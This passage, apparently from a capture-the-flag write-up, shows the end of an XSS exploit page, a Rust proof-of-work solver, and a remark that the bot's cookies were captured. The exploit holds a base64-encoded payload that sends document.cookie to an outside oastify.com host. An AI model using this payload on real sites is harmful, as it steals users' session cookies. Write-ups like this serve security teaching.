x.location="http://"+domain+"/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly91Y2FmaGExbHY1NjF2Z3d0bHpnNDBhczUzdzlueGVsMy5vYXN0aWZ5LmNvbS8iK2RvY3VtZW50LmNvb2tpZQ==";
}
</script>
<body onload="exploit()"></body>
</html>
Here is also our POW solver:
use rayon::prelude::*;
use sha2::{Digest, Sha256};
use std::env;
fn verify_hash(prefix: &str, answer: u32, difficulty: usize) -> bool {
let mut hasher = Sha256::new();
let input = format!("{}{}", prefix, answer);
hasher.update(input.as_bytes());
let hash = hasher.finalize();
let prefix_bits = difficulty % 8;
let prefix_byte = difficulty / 8;
let mut prefix_match = true;
for (i, byte) in hash.iter().enumerate() {
if i < prefix_byte {
if *byte != 0 {
prefix_match = false;
break;
}
} else if i == prefix_byte {
// get a mask to address the upper `prefix_bits` bits
let mask = 0xff ^ (0xff >> prefix_bits);
if *byte & mask != 0 {
prefix_match = false;
break;
}
} else {
break;
}
}
prefix_match
}
fn print_hash(prefix: &str, answer: u32, difficulty: usize) {
let mut hasher = Sha256::new();
let input = format!("{}{}", prefix, answer);
hasher.update(input.as_bytes());
let hash = hasher.finalize();
// print as a hex string
let hash_hex = hash.iter().map(|byte| format!("{:02x}", byte));
let hash_hex = hash_hex.collect::<String>();
println!("{}", hash_hex);
// print as bitstring
let hash_bits = hash.iter().map(|byte| format!("{:08b}", byte));
let hash_bits = hash_bits.collect::<String>();
println!("{}", hash_bits);
// assert that the first `difficulty` bits are zero without using the verify_hash function
let prefix = "0".repeat(difficulty);
assert!(hash_bits.starts_with(&prefix));
}
fn main() {
let args: Vec<String> = env::args().collect();
let prefix = &args[1];
let difficulty = 28;
let answer = (0..1_000_000_000)
.into_par_iter()
.find_first(|&i| verify_hash(prefix, i, difficulty));
if let Some(answer) = answer {
println!("input: '{}{}'", prefix, answer);
print_hash(prefix, answer, difficulty)
} else {
println!("No answer found!");
}
}
After a few tries, we get the bot request with the cookies.